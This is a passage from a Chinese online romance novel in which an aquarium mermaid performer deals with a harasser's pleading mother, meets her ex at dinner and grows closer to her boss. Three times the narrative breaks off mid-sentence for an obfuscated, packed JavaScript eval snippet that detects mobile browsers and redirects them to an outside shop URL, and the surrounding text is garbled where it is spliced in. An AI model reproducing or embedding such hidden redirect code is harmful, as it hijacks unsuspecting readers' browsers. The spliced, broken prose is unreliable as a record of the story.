元旦那条吐珍珠的视频也给她带了点粉丝,但不超过两百个人。她账号里什么内容都没有,居然会有这么多人愿意关注。 裴涟垂目看着她:“我有件事要和你商量。我想将你的账号运营成珍珠岛的自媒体账号,平时你想发什么都随意,偶尔做一下珍珠岛的宣传,你觉得怎么样。” 景音抬起头,挑眉看向他。 “裴总。”她言笑晏晏,“从昨晚到现在醒来第一件事,是和我谈公事?” 裴涟的耳根肉眼可见地变粉了。 他目移回了电脑屏幕上,声音放轻:“那你想谈什么。” 察觉到他的小心翼翼,景音想起,昨晚自己对他说过一些刺激性质的话。 比如,酒醒后会后悔什么的。 裴涟好像很忙地继续工作着。景音勾起脚尖,在被子里,用膝盖轻蹭他的腿。 虽然微不可查,但景音还是觉得他整个人的形状僵硬了几分。 景音轻笑:“你…害怕什么呢。” 裴涟看向她,睫羽低垂着,情绪不明。 裴涟:“我怕你,死在我床上。” 景音:“……” 她不过是睡得久了点嘛! 况且昨天还喝了那么多酒。 ……不过,她没料到裴涟体力那么好。有几个失神的瞬间,她的确怀疑过自己能不能见到早晨的太阳。 明明看起来一副禁情割欲的样子。 裴涟懒懒收回眼神:“我倒想起个事。” “?” “昨天,和你唱歌的是谁。” “……赵子骞。”景音不情愿地想起来,“你怎么知道的?” 裴涟晃了晃手机。 “……方小芸的视频才发出去不到十分钟,你都能刷到?” “有人转发给我看。” 裴涟的脸色好像比刚才臭了一点。 景音见状,正了正神色:“本来都忘了的。他好恶心,上来一副被我伤害得很深的样子,还想约我出去吃饭,等他走了我才知道他都有孩子了。” “是吗。”他抿紧的唇线放松了些,“那他还真是个人渣呢。” “对啊。” “……所以我昨天去接你的时候,他不在?” “嗯。” 裴涟不满地轻啧了声。 景音第一次见他这么孩子气的一面。她觉得好玩,双手在被窝里抱上他的腿:“宝贝……你在生气?” 裴涟没吭声。 景音仰头看着他,自顾自继续说了下去:“还有之前,为什么那么久不跟我说话。” 裴涟的目光从屏幕转移到她脸上,眼底逐渐幽深。 “……我怕你觉得我恶心。” 接下来,景音用行动证明了自己不觉得恶心。 她最喜欢的,就是看裴涟为她失神纵情的样子。比如现在,她欣赏裴涟隐忍又渴望的表情,而仰视的角度又巧妙调换了主动方与被动方,产生了微妙的心理反应。 “你可以不用做到这一步。” 裴涟低喘着抚摸她的脸。 景音找了个空隙回答他:“可我想这样做很久了。” 结束后,裴涟带她去洗手。两人终于觉得肚子饿了,才一起出门吃了饭。 他们都默契地没有确认彼此的关系。 景音很高兴,因为她并没有出现什么逃避的心理。但她惊讶裴涟居然会给她回转的余地,明明从来没对他提过自己的心理缺陷。 她再次将他的态度归功于两人的默契。 第二天上班时,发生了两件事。 第一件事,是景音发现自己短视频软件里收到了十几个自媒体公司的私信,问她有没有兴趣和他们签约。 经过一天的发酵后,曹子琳的视频点赞突破了三百万。她和曹子琳互关了,更多的人发现了她的账号,现在粉丝数量已经快超过十五万。 美人鱼演员这个职业在国内还很新颖,大多数人完全不知道有这个行业。评论区多数人以为这是个cosplay,曹子琳回复是海洋馆工作人员后,很多人都对此产生了兴趣。 她的那条吐珍珠视频也被重新扒出,点赞数比以前涨了十倍。 临下班时,景音发现自己上了短视频热搜榜。 这是她始料未及的。 后台的私信隔一会就刷新一条,大部分都在问她是不是视频里的美人鱼。 得益于大数据,许晏霖和余夏自然也刷到了这条视频。 两人都建议她发个视频,不然主页空落落的不好看。 可景音手机里根本没有关于自己的视频。后来,余夏发给她几张照片,是他刚入职时看景音演出时拍的。 景音编辑了一下发出去,瞬间就有人点赞。 余夏一脸兴奋:“景老师,你这要变成大网红了啊。” 景音有点不好意思。 评论也渐渐多了起来,有人问照片是在哪里拍摄的。 景音突然想起了昨天裴涟的话。 于是她回复:「季城珍珠岛海洋馆,欢迎来玩。」 下班后,她遇到了第二件事。 一辆警车停在行政楼的停车场里,她经过时,正好看见裴涟和辛警官从行政楼里出来。 辛警官也看见了她,同她打了个招呼。 “景音,有事情通知你。” 这阵子又是出差又是训练,景音几乎快忘了之前发生的事。眼下见到辛警官,她才想起路图的事情还没有盖棺定论。 她走了过去,和辛警官问好。 辛警官带她绕到行政楼的侧面,才开始和蔼地向她讲述。 “经过我们的调查,路图在做毕业后第一份工作时,曾经性骚扰过他的同事韦雅霜。但当时他们的公司领导为了息事宁人没有报警,后来韦雅霜离职,路图没多久也离职了,从那以后他收敛了许多,开始私下收集女性的头发。” “那他会收到什么样的处罚?” “就是这一点比较难办。这件事已经过去两年了,韦雅霜的前公司没有留下监控证据,只能找愿意做证的人证,如果可以定性为强制猥亵的话,他会被拘役六个月。” 景音点点头:“辛苦您了。” “应该的。”辛警官浅浅笑了,“你呢,最近心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074531|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么样?” “最近……还挺好的。” “行。想起什么线索的话,随时可以给我打电话。” 告别了辛警官,景音从行政楼一侧走了出来,看见裴涟仍在原地。 身姿高瘦俊美的男人伫在雪景中,惹眼得很。有年轻的女员工骑着电车路过,大方地娇笑着跟他打招呼:“裴总,拜拜~” 裴涟冲她点点头:“慢走。” 似乎从景音知道裴涟起,他的异性缘就很好。许是因为他的长相虽然清冷却带些柔和的精致,让人忍不住会对他产生些亲近感。 景音绕过两辆车,被裴涟抓了个正着:“你去哪。” “啊,我下班。” 他向她走过来,像是有话要说。 “你今晚——” “小景!”谢薇从行政楼里跑出来,后面跟着人事部的其他同事,“好巧啊!” 景音立刻后退半步,裴涟也转开身子轻咳了声。 “这么巧。”景音尴尬回答。 “走啊,一起回去!” 景音偷瞄了裴涟一眼:“嗯,来了。” 谢薇挽过她的胳膊,一起往馆外走。 两人分享着馆里的趣事,不知不觉走到了公寓楼下。 楼下站了个中年女人,打扮朴素,肤色蜡黄。看见她两人要进公寓,急忙凑了上来。 “你们认识景音吗?” 景音刚想说话,被谢薇拉住了胳膊。 “阿姨,您有什么事吗?”谢薇问她。 “你们是旁边那个海洋馆的人吧!”女人像找到了突破口,“我儿子也在那上班!前阵子他得罪了一个叫景音的同事被抓起来了,这马上就要过年了,可不能在看守所里过啊!” 从谢薇的表情来看,她对这件事完全不知情。景音想起当时的辞退通报只写了路图严重违纪,并没说他具体做了什么事。 景音向前一步:“阿姨,我就是景音。您儿子是姓路吗?” 没想到,这女人扑通一声跪下来了。 “景小姐,我求求你大发慈悲,原谅路图吧,他已经知错了!” 景音吓了一跳,不自觉往后退了几步。那女人丝毫没有起来的意思,双手合十冲她拜了又拜: “他就是一时鬼迷心窍才对你做了那种事,这要是关半年,出来该怎么做人啊?求求你原谅他吧,他真的已经知错了!” 景音大脑发愣,心里觉得有点恶心。 下班回来的同事越来越多,看见这一幕,有四五个人都停下来朝这里围观。 “他关多久不是由我决定的,只是因为我才被抓进去的而已。”景音轻呼吸着,“他活该,我也不想原谅他。” 听到她这番不留余地的话,路图的母亲直接哭了出来。景音倍感不适,拉着谢薇转身进了公寓,没再理会身后的哭喊声。 这件事搅得她心情很差。晚上谢薇给她发来消息,小心翼翼地问要不要上楼来陪她。 景音回答说不用,想了想,又把路图做的事简单地跟谢薇说了一遍。 路图的母亲在楼下喊的那番话太有歧义,景音可不想自己被传什么恶心的谣言。 本以为这件事只是一个小插曲。没想到第二天下楼上班时,那女人还在。 她仍然是见到景音就跪,还扬言景音不肯原谅她儿子的话,她就要跪到海洋馆门口。 听到这番说辞,景音终于恼了。 她本还对路图的母亲有一丝同情,觉得可怜天下父母心。 看着地上长跪不起的女人,她掏出手机,给辛警官打了电话。 44. 新仇旧恨 很快,辛警官的警车就到了。 景音跟辛警官说她不想报警,只要把人劝走就可以。 辛警官明白她的顾虑。 她一边拉起地上的女人,一边严厉教育:“郭姐,你来这里骚扰受害人对你儿子一点帮助也没有,知道吗?” “小辛,我不是骚扰,我是在求她的原谅啊。”路图母亲用手背抹着眼泪,“我也没对她做什么,这事你们也管?” 景音竭力克制自己的怒气。 这母子俩还真是一个样。 公寓里走出谢薇和她的室友小宋。看见门口这一幕,俩人忙跑到景音身边。 谢薇小声问:“她怎么又来了,要不要我帮你请个假?” “你先去上班吧,这里交给我。” 辛警官示意景音先走。 景音求之不得,谢过辛警官之后,和谢薇她们一起快步离开了。 谢薇很替景音担忧。 “那人这么麻烦,这段时间要不你先回你自己家住?”她提出建议。 景音连想都没想,就摇了头。 她在市中心的房子是以前景绍良和他家人住过的,景音不想回去。 “有警察劝过,她应该不会再来了。” 景音试图提起精神,不把低气压带给同事。她们也很配合,尽量聊一些轻松的话题。 进了海洋剧场,正遇到许晏霖从隔壁白鲸馆出来。 “晏霖,早。”景音鼓起微笑。 “早。” 许晏霖同样回以浅笑。 自从景音跟许晏霖说了小猪的事情后,她也对照顾白鲸上了心。 景音此时此刻的笑容是发自真心的。 许晏霖最近训练得很努力,景音甚至觉得,她比自己当时学得还要快。现在她已经能完成大多数水下动作并且进行独立演出了。 景音总不自觉想起张桐说的,让她以把许晏霖带出徒为短期职业目标。 虽然现在还没完全达成目标,但景音的确感觉自己有了特殊的成就感。 这种心理上的满足是独一无二的。 两人一起回到办公室,余夏已经坐在里面了。 今天因为路图母亲的耽搁,景音比平时来晚了会儿。余夏抬头冲她笑:“景老师,快带出徒了是不一样,上班都不积极了?” 景音浅浅弯唇,没回应他的调侃。 从上次得知余夏不是本地人后,她就再没问过关于少年宫的话题。 因为没什么必要。 虽然余夏的样子有点像她印象中的那个小男孩,但两人给她的感觉大相庭径。 那个男孩在印象中可靠又温柔,而余夏身上,更多的是狡猾。 这一天,景音总怕路图的母亲会从海洋馆的某个角落出来,继续跪在地上求她原谅。 直到下午辛警官给她打电话,说人已经跟她保证过不会再做出什么骚扰行为,景音才微微安心。 她太讨厌这种被绑架的感觉。 明明自己才是受害方,却被推在了加害方的位置,这让她无比恶心。 而她又不敢真的把人送到警局。她怕对方破罐子破摔,下次真的跑来海洋馆门口做出什么举动。 一天的坏心情,止于裴涟发来的消息。 L:「我知道一家很好吃的餐馆,一起去尝尝吗。」 她不知道裴涟是不是听说了路图母亲的事才来找她。 但她也很想转换一下心情,于是欣然答应。 下班后,景音去了行政楼下,裴涟依旧已经坐在了车里。 她迅速拉开车门坐下了。 手立刻被他攥住。 景音的手指冰凉,被裴涟拉到了唇边。他呵着热气帮她取暖,清亮的眼看着她。 “冷吗。”他问。 景音赧然点点头,心里的阴翳褪去大半。 看裴涟的样子,应是没听说路图母亲的事,只是单纯约她吃饭。景音松了口气,她并不想让他担心。 帮她捂暖手后,裴涟才开车上路。 到了目的地,景音发现这是家本地颇有名气的私房菜。由于是走的小众高端路线,越靠近年关餐位越是供不应求,不知裴涟是什么时候预约到的。 两人一起进了门。 前台的年轻侍应生正在给两个顾客核对信息,听见门响,抬头看了过来。 “裴先生,您来了。”侍应生端起笑容,“我去叫……” “不用,你忙你的。” 侍应生应了声好,继续在一张菜单上指点:“您在这里签字就可以……” 两个顾客签完字,便要被带去里面的大厅。也是在他们转身的一瞬,景音认出了那个男顾客的侧脸。 赵子骞也看见了他们,从表情来看,他好像有点意外。 他身边的女性见他停下步伐,便顺着他的目光看了过来。 “老公,这是?”女人问。 “啊……” 景音挑起眉,没想太多便搂上了了裴涟的胳膊。 “你认识呀。”她仰起头看向裴涟。 裴涟垂下眼,眸光闪过丝讶异,随即又换上了副宠溺的散懒神情。 “我不认识啊,宝贝。” 他拖长了尾音,带着丝危险的惑人气息。 景音有些心虚地呵呵笑了声。 余光里,她看见赵子骞两人走了。景音松了口气,想抽出手。 然而裴涟换了个牵手的姿势,同她十指紧紧相扣,除非她用力甩开,不然很难挣脱。 “不是你自己牵上来的吗。”他轻睨着她,“用完我就想甩开了,是吗。” “这是相互利用吧,毕竟咱俩都看他不爽?” 裴涟看着赵子骞离去的背影:“我不是看他不爽。” “那是什么。” “是……”他微顿,“想知道?” 恰好这时,旁边的楼梯走来一个人。 他看着裴涟和景音牵着的手,一脸的玩味。景音认出这是裴涟的朋友,她前阵子见过一面的程涣舒。 “进来吧。”他招呼他们,“位置留好了。” 裴涟:“嗯。” 景音被他牵着穿过大堂,走进尽头的包厢。 裴涟似乎对这里很熟稔。景音以为这是个三人的饭局,然而程涣舒给他们带了壶茶后很快走了。 景音坐在裴涟对面,看他为她倒茶。她端杯轻抿,清醇的香气流入口中。 她不懂茶,也能猜出这是上好的茶叶。 “刚才的事还没说完呢。”她放下茶杯,“你对赵子骞有什么新仇旧恨?” 裴涟拿住瓷杯,手指无意识地在上面摩挲。 经他讲述,景音才知道,原来在大一时裴涟还和赵子骞有这样一段过节。 而且还和她有关。 刚开始上大学时,景音其实对裴涟并没有那么抗拒。逃避了和他在一起后,两人在开学不久偶遇了。 景音才发现,两人的大学居然是对门。 再次见面后,裴涟对她就像第一次认识一样礼貌。 于是景音又认为他只是在感激救命之恩,在配件提出要加她联系方式后,她心怀歉意地给了。 终于在裴涟第二次约她出去玩时,她感觉到了不对劲。 熟悉的逃避感作祟,那天,她把裴涟给鸽了。 但景音并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她心中突然涌起股暖流。 赵子骞自诩喜欢她很多年,却是个十足的伪君子,在她看不见的地方做出过这种事。 他的情感,只是为了满足自己。虚荣心,征服欲,或者别的什么,远远不配称之为喜欢。 没有对比就没有差距,景音恍然发现,裴涟好像,是真的很喜欢她。 是一种完全尊重的喜欢。 是她渴求已久的无比健康的爱。 他宁愿自己一直在低位,只要她想,随时可以在他那里获得所需要的。而她,便也就能放任自己在这段感情中永远处于逃避状态。 她不知道自己有什么魅力值得他这样做。 她只是,忽然觉得亏欠。 景音说出了她思考了几天的疑问。 “前天我从你家出来后……你为什么不问我要不要在一起?” 裴涟眼中有希冀一闪而过。 未等他开口,竹制的推拉门被轻敲了敲。侍应生推着小车进来,给他们上菜。 菜品不多,但胜在摆盘精致漂亮。景音却无心欣赏,在心中反省自己是不是又说错话了。 她想解释,她只是好奇。 但侍应生走后,这个话题好像再难以启齿。 景音拿起筷子尝了几口菜,味道出乎意料地好。 她试图打破僵局:“不愧是……” “都这么久了。”裴涟淡然看着她,“因为是你,我再等等又何妨。” 45. 室友 景音举着筷子,盯着餐盘出神。 她无父无母,不懂得什么叫“被爱”。此刻,她才发觉,自己终于和这世界上的任何一个人没什么不同。 每个普通人都有的和这个世界的牵绊,她也有。 过去那个坐在灰尘里读母亲日记的小女孩,站在走廊看父亲抱着弟弟的小女孩,从水中死里逃生大哭的小女孩,景音突然同她们和解了。 她们招手微笑同她告别,如愿以偿看见她拥有了正常的人生,表情似哭又似笑。 景音同样以泪湿了眼眶,嗓子哽咽地发痛。 她们不知道,她在那个怪诞的莫乌比斯圈里循环了多久,才被人温柔救了出来。 裴涟有些无措:“你怎么了?” 景音一说话,眼泪就开始往下掉:“我很怕……我最后也不能和你在一起。” 他站起身坐在她的旁边,不由分说把她揽在了怀里。 声音带着安心的沉稳:“为什么不能?” “你应该猜到了吧。” 裴涟没有说话。 “我身体有病,很久不来月经了。”景音替他开了口,“上次去医院,医生初步判断我是多囊,要求做进一步的检查,我拒绝了,我怕——” 她的考勤表被那样当众质疑,就算曾经裴涟没留意,现在也被强行摆到了眼前。 她能确定,两人去出差时裴涟还不知道,因为那时还在他行李箱中发现了给她准备的卫生巾。 但是上次在裴涟家时,他们两人没用措施。 裴涟这样谨慎负责的人,除非是知道了什么,不然怎么会不做任何措施。 裴涟果然没什么惊讶的神色,只是轻蹙了眉头:“我陪你治。” “不一样的。”景音松开他,“这意味着什么你知道吗?我可能这辈子都不会怀孕!” 裴涟只是一下一下顺着她的头发。 “我不是为了娶一个子宫。” “但我不想你因为我错过一个正常的人生。你拥有的条件足够让你过最圆满的生活。” “我的人生圆不圆满,是以我自己的感受为准。” 景音突然失语。 她想再说点什么来把他推开,在她对裴涟的感情里,焦虑几乎和爱一样多。熟悉的逃避感让她开始慌乱,她不敢再看裴涟一眼,想离开这里,想大吼,想砸东西。 “对不起。”她努力克制自己的情绪,“我想先一个人……” 裴涟把她紧紧抱住了。 “我在这里,你想都别想。”他的声音在她耳边呢喃,“我不会放过你的。” 景音原本止住的泪又掉了下来。 裴涟松开她,替她擦掉眼角的泪。景音看着他认真的神色,突然觉得自己像一个沙漠中独行了很久的人。 如同看见绿洲。 她吻了他。裴涟身体微僵,景音抚上他的面颊,只手撑开他额前的碎发,凌厉的眉下是双柔软无比的眼。 曾经几次他要吻她时,碎发都会挡住他的眼神,让她看不清那双诱人的浅瞳。 她想记住他每一个深情的表情。 双唇分开,裴涟的唇色已经变得朱红。浓郁的颜色在他唇上漾开,艳色吸引眼球。 “这是你第三次主动吻我。”他声音带哑。 “是吗?明明是第一次。” “第一次你吻得这里。”他指指自己的脖子,“第二次隔着墙。这就是第三次。” 景音没想到他还会斤斤计较这种事,咯咯笑了出来。 “你是不是还漏了一次?” 裴涟蹙眉,认真想了想后摇摇头。 “第三次,明明是……这里。” 她的手游移在他的小腹。 裴涟无可抑制地轻喘了声,抬眼再看她时,眼底便带上了浓浓的侵略性。 “所以,现在是第五次。” 她想再凑近他的嘴唇,裴涟却躲开了。 他懒散地浅笑:“你确定要在这里吗。” “……只是接吻。” “我可不会满足于接吻。” 景音微红了脸,感觉到裴涟的手捏上了她的下巴。 像欣赏着什么珍惜的所有物,一下一下地,他的指腹轻摩着她的下唇。 暧昧的摩擦让她脸红心跳。裴涟仍是盯着她的唇不发一言,赤裸的眼神却像正在把她拆吞入腹。 她也乱了气息,手指攀上他的小臂。 肌肉紧实,筋骨分明。 只想跟他接触,更多,更多。 他突然用了几分力,景音微微吃痛,内心慢慢反应过来这是裴涟在表达不满。 他在期待她做出回应,而她像一个笨学生,竟才理解了老师的用意。 “那……今晚,可不可以去你家。”她喃喃细语。 裴涟手上的动作终于停住。 “嗯。”他浅浅地笑,“可以。” 裴涟回到了自己座位上。 景音仍旧心跳如鼓。她的思维被他几个动作撩拨走,方才后知后觉那是场无声的魅惑。 她舔舔唇,被他碰过的地方似乎要烫一些。 裴涟慢悠悠吃着饭,景音也让自己尽量保持在一个没受影响的速度。 就这样,两人还是很快用完了餐。 出了包厢,没等裴涟做什么动作,景音就去主动牵了他的手。 十指紧紧相扣。 路过大厅,她目不斜视向外走。 突然有个身影出现在面前,把她拦住了。 景音看着面前这个年轻的陌生女孩儿,有些莫名。 女孩却难掩激动,小心翼翼问她:“美女,你是不是视频里那个美人鱼网红啊?” 景音愣住:“是吧。” “太好了!我能跟你合个影吗?” 景音配合她在手机上拍了几张自拍。 女孩很兴奋:“谢谢你,我可不可以发出去?” “当然可以。” 坐上裴涟的车后,景音仍觉得有点神奇。 裴涟发动了车,景音才想起一件事。 “先回公寓,我拿个东西。” 上次去医院开的治疗多囊的药在家里,今晚和明早都需要服用。 裴涟没问要拿什么,嗯了声。 想到等下要去裴涟家,而且这次是在她完全清醒的状态下,景音总有些难以言喻的羞赧。 虽然这已经是第二次,但两人还没有确认关系,她总有种自己在打破世俗的禁忌感。 裴涟这样循规蹈矩的人,究竟是怎么接受这种事的呢…… 他现在也会像她一样,心里觉得别扭吗? “景音,你有没有想过用你现在的流量做点什么事。” 她正想得出神,裴涟突然没头没尾地来了这么一句。 “什么流量?”她下意识问。 “短视频平台上的流量。”他答,“这是个机遇,如果你抓住了,能改变很多事。” 景音望着前方发愣。 曹子琳的视频火了以来,她觉得她的生活好像变化不大,但那是在她没有打开手机的时候。 一旦点进自己的账号,后台的消息全是红点,点也点不完。她觉得受宠若惊,又觉得这阵风波很快就会过去,所以并没去处理。 裴涟将车开上高架,闲散打着方向盘:“这几天,海洋剧场的客流量比节假日还多。很多人宁愿站着也愿意来看你表演,跟你合照。” 这个景音感受到了。每场表演结束后的互动时间,明显比曾经要久得多。 “我能做什么?”她有些迷茫,“把自己打造成网红,然后直播带货吗?” 她不是不记得上次裴涟说做海洋馆自媒体的事。她从心底觉得这件事很遥远,听起来不像自己的生活。 “能做什么是由你自己决定的,直播带货也是一种赚钱方式。” “我不太想带货。” “那,你可以去做一些只有你能做的事。” 景音懵懵懂懂,心底想认同裴涟,又缺少契机。 她决定将这件事先搁置。 从高架下来后,很快就到了公寓的小区。裴涟将车停在楼下,刚要下车,景音却拉住了他。 她又看见路图的母亲站在公寓下面。看见一辆车停在旁边,她探头探脑地往车内瞧。 景音来不及关掉车内的照明灯,已经被那女人看清了他们。 她匆匆忙忙跑过来,裴涟循着景音的视线也看见了。 “她是谁?”裴涟问。 “路图的妈妈。” 裴涟神色微凛。 “你在车里等我。”他拉开了车门。 路图母亲站在车前,被裴涟拦住了。她忙指着车内:“我找她。” 景音只能看见裴涟的背影挡在副驾驶前。 “您怎么称呼。”他问。 “……我,我姓郭。” “郭阿姨。您有什么事?” 路图母亲好像懒得同他纠缠,只想绕过他:“和你有啥关系。” “路图是我报警送进去的。” 女人的神色缓缓僵住了。 裴涟倚在车头,声音快被风吹散似的轻:“您有什么不满可以找我。” “原来是你……” “对。而且我手上还有别的证据,要听听么。” 景音偷偷降下一点车窗,细微的声音似乎被裴涟听见了。 他侧过头,看了她一眼。 男人的身体被拢在车灯下,浑身泛着光。他眉头舒展,看他的神情,似乎只是在面对一个不足挂齿的小事。 裴涟冲她露出一个轻笑,又转过头去。 “路图和另一个部门的员工联合私自倒卖了海洋馆里的珍惜鱼苗,金额高达几万元。我要是再从任何一个场合看见您或和路图相关的人,证据就会立刻提交到警方那里,到时候您儿子就不是拘留,而是赔偿公司所有损失并蹲监狱,三年起。” “您自己想想吧。” 说完这些话,裴涟就回过身,朝景音的副驾驶走来。 他拉开车门,示意她下车。 景音瞥了路图母亲一眼。她表情青白交接,很是惊恐。看见景音下了车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130000|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她转身匆匆走了,背影就像冬日里摇摇摆摆的枯树枝。 景音叹了口气。 “怎么不跟我说。” 景音抬头,正对上裴涟问责的眼神。 她挠挠脸颊:“今天早上,我叫辛警官来过,她也答应得好好的,谁知道她连警察的话都不听。” “这种人如果怕警察,从一开始就不会想到来骚扰你。” 想到那女人离开的背影,景音又叹了口气:“可怜之人必有可恨之处。” 裴涟不语,两人一起走进了公寓。 “所以路图偷了什么鱼苗?”景音有些困惑,“剧场里的鱼可没那么贵。” “是主展馆那边的。不过……” “不过什么?” “倒也没那么贵。” “没那么贵,是多少钱?” “几百块,最多一千吧。估计他们觉得还不够麻烦的,就再没做过了。” “……” 景音颇为惊讶:“那你不怕会露馅?” “路图现在可是在拘留所。” 景音恍然认同。就算是探视,也在警方的监管之下,路图母亲肯定不敢在警察眼皮底下提起这件事。 电梯很快到了楼层,景音拿出钥匙开了门。 卧室内居然亮着灯,很快传来了脚步声。 景音下意识紧紧抓住了裴涟的胳膊。 裴涟不明所以,把她拦在了身后。 卧室内走出一个人,看清她的身影后,景音惊得微张了嘴。 居然,是许晏霖。 许晏霖穿着淡蓝色的睡衣,看见门口的是他们两人,也愣住了。 景音觉得这场面真是尴尬。 她从裴涟身后走出来,挤出个笑容:“晏霖,你怎么在这?” 许晏霖没回答她的话。她表情更难看一些。 “你们……” “我和裴总去吃饭。”景音嘴比脑子快,“对,还没跟你说过,我也是公司股东,所以有些公事要一起商量……” 只看许晏霖的表情,并不能判断她有没有相信。 景音迈进门,有点不敢正视身后裴涟的表情:“你先回去吧。” 裴涟原地站了会儿,沉默让景音胆战心惊。 “你是这样决定的。” “……嗯。” 裴涟关上了门,声音不重,但咚的一声还是让她心惊。 她转身,装出闲聊的语气:“晏霖,你以后要住在这吗?” “对。” “你说说,白天怎么没告诉我呢,搞得这么突然。”她笑着调侃,“我都没做欢迎你的准备。” 许晏霖看上去并不想和她闲聊。她只点点头,就转身回了屋。 挫败感一点点袭来。景音叹了口气,也回了自己的房间。 她走到窗边,正好看见裴涟的车尾灯扬长而去,从一道光变成一个点,然后消失在视野。 景音拿起手机,给裴涟发了条信息:「对不起。」 没收到回复的这段时间,景音推测他还没到家,在开车不方便回。 但过了半小时,也没收到信息。 果然,是生气了。 景音躺在床上,开始胡思乱想。她又发了条信息:「你平安到家了吗?」 L:「嗯。」 聊天界面再度陷入沉寂。 景音实在没有哄人的经验。 她能想到最好的补救办法,就是现在溜出门打车去裴涟家。 但她又不知道怎么跟许晏霖解释自己半夜出门。 景音心烦意乱,打开了短视频软件。 她觉得自己现在需要汲取一点能量,而她视频下面的夸夸评论能很好地成为她的养分。 把自己哄得差不多了后,景音刷到了今晚和自己合照的女生的视频。 那女生居然不止发了她们的合影自拍,还有她和裴涟的背影。 评论有人问和她一起的那个男人是谁。 这姑娘回复:估计是男朋友,帅爆了,两人特别配。 景音截了个图发给裴涟:「看,夸你帅。」 L:「嗯。」 L:「怎么不澄清这只是你老板了。」 景音:…… 果然还在生气呢。 她紧张地打字∶「没什么区别吧。」 L:「刚才没见你这么觉得。」 -「那不是为了照顾晏霖的心情嘛。」 L:「那我的心情呢。」 景音欲哭无泪。 她觉得解释不清,于是给裴涟打了电话。 电话很快被接起,裴涟的声音在对面幽幽地响起: “怎么,不怕被听见吗。” “我错了。”她捏着手机小声答,“……涟涟宝贝。” “……” 她轻咳了声,继续说着:“过两天我轮休。” 对面沉默了会儿,才出声。 “听不懂。” “……” 景音扶住额头,闭上了眼:“我休息,要不要……约一下。” 46. 决定 裴涟的声音终于沾染了点情绪。 “约一下?”一种玩味性质的调侃夹带在他声音,“约什么。” “……约会。” “哦,约会。”裴涟那边有些水声,“我还以为是约——” “你不要再说了。”景音及时打断他,“好不好嘛?……就当陪我一天。” “我很忙。” 他的回答斩钉截铁。 景音打了空气两拳,坐起了身:“那你什么时候有空。” “最近都没空。” 他的声音有些远,伴杂着水龙头的放水声。景音听见了,好奇问:“你在洗脸吗?” "没有。"裴涟声音传过来,“我在洗澡。” “……” 景音也不想的。 大脑自动成像了。 裴涟肌肉匀称的身型突然浮现在脑海里。上次看到那副身体时,每寸肌肤都沾染着一层薄汗,摸起来结实又细腻,口感,也很好。 景音把脸埋进被子里。 “那,我先挂了,你慢慢——” “要看看吗。” “??” 她从被子里抬起头,以为自己听错了。 “发给你了。”裴涟的声音靠近了些。 景音匆忙看向手机,她和裴涟的聊天界面。 他发来了—— 一张浴缸的照片。 还在放水。 景音强忍住说脏话的心,故作淡定说:“你家浴缸……” 不对。 浴缸后面的玻璃挡板上,隐隐约约反射出一个轮廓。 朦朦胧胧,却也能看出上半身不着寸缕。手臂举着手机挡在胸前,只露出腰腹一半紧实的腹肌。 景音双指放大。 应……应该是裴涟不小心拍到的吧。 “怎么不说话了。” 手机差点从她手里飞出去。景音调整好姿势,又重新把手机放在耳边:“没有啊,我在看你家浴缸。” 对面的水声停止了。听动静,裴涟应该是坐了进去。 “是么。”他从容应着,“好看吗。” “……” 景音克制自己不去联想裴涟那边的光景。 “好看。”她回答,“想摸摸。” 她应该不是个笨学生,因为自己学得还算快。有饵,她就吃。 裴涟的声音轻笑,带着少见的近乎命令般的口吻:“那你诚实一点。再说一遍,想约什么?” “约……” 景音实在说不出那个词。 裴涟泡在浴缸内,听见对面轻悄悄的声音卡了壳。 逗得有点过了? 他正想开口放过她时,听见手机里传出景音小心翼翼又黏糊的声音: “裴涟……我想你。” 两边都安静了。 景音还在不好意思,裴涟的声音就传了过来: “好。” “等你下次轮休,约会。” 景音觉得心里涨涨的。她不自觉翘了嘴角,轻笑出声才发现自己的表情早已不受控制。 “哪天都行?”她问。 “哪天都行。你先定下来,然后告诉我。” 海洋馆此前是周二闭馆,现在正值寒假假期所以全月开放。景音这个月请了两天假,上半月休了一天,正好能在月底前空出一天休息。 只是那时临近春节,还要提前和她的两个同事商量好才行。 想到许晏霖,景音又有些道不明的忧愁。电话还没挂,她忍不住压低声音问裴涟:“你和晏霖是怎么回事?” “……”裴涟沉默了下,“没怎么,只是认识得比较早。” “我记得你们高中是同班同学吧。” “对。” 景音决定直接说重点:“她是不是一直喜欢你。” “嗯。”裴涟声音淡淡的,“四年前她跟我表白过,我拒绝了。” “四年前……是你要出国那阵子吗?” “嗯,是我留学前,从那以后一直再没见过面。但她来这里上班的原因我不清楚。” “……她不是冲着你来的?” “……” 裴涟一阵沉默。景音才反应过来,他也许是不敢承认。 她轻笑:“我不会生气的,喜欢一个人又不犯法。” 然而他听见这句话好像并不高兴。 他声音多了几分漠然:“可能她只是喜欢游泳。” 